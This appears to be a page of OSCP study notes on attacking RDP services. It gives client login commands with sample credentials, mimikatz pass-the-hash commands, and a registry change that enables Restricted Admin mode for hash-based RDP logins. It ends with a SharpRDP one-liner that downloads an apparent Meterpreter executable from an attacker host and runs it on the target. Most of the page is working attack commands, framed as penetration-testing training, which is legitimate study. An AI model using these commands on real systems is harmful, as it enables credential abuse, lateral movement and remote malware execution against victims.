> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/services/3389-rdp.md).

# (3389) RDP

### Tools for RDP

<table><thead><tr><th width="163"></th><th width="154">Remmina</th><th>xfreerdp</th><th>rdesktop</th></tr></thead><tbody><tr><td>Command</td><td>remmina</td><td>xfreerdp /u:user /p:password321 /v:10.10.202.204</td><td>rdesktop -u admin -p password123 10.10.202.204</td></tr></tbody></table>

<details>

<summary>Restricted Admin Mode</summary>

* Not enabled by default
* Allows Pass-the-hash RDP login if enabled

Enabled using:

```
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell
Enter-PSSession -Computer appsrv01
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0
```

Then, login using PtH:

```
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:"mstsc.exe /restrictedadmin"
```

Or using Remmina:

![](/files/lld4HzpT7J9cVBrS6B79)

Or using xfreerdp:

```
xfreerdp /u:admin /pth:2892D26CDF84D7A70E2EB3B9F05C425E /v:192.168.122.6 /cert-ignore
```

</details>

<details>

<summary>Headless RDP Connection</summary>

* SharpRDP: RDP without GUI

```
sharprdp.exe computername=appsrv01 command="powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.119.120/met.exe', 'C:\Windows\Tasks\met.exe'); C:\Windows\Tasks\met.exe" username=corp1\dave password=lab
```

</details>